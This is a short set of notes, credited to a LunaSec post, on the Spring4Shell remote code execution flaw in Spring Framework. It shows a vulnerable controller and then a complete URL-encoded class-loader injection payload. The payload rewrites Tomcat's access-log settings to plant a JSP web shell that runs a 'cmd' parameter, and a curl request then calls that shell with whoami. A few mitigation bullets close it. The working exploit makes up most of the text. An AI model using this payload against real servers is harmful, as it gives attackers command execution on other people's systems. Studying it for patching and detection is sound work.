Credit: LunaSec https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/

$ curl '/:8080/spring4shell?class.module.classLoader.resources.context.parent.pipeline.first.pattern=test'
$ # wait, what?

ModelAttribute example:

public class Greeting {  
	private long id;  
  
	public long getId() {  
		return id;  
	}  
  
	public void setId(long id) {  
		this.id = id;  
	}  
}  
  
@Controller  
public class HelloController {  
	@PostMapping("/greeting")  
	public String greetingSubmit(@ModelAttribute Greeting greeting, Model model) {  
		return "hello";  
	}  
}

Class injection exploitation example:

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di  
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp  
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT  
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell  
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

a series of requests result in the creation of shell.jsp log with the following logging pattern:

%{prefix}i java.io.InputStream in = %{c}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } %{suffix}i
curl /:8080/shell.jsp?cmd=whoami

Mitigation:

  • do not use deserialization
  • do not ever allow passing serialized data as arguments
  • research how your parsers treat object creation, metadata and language extensions
  • validate user input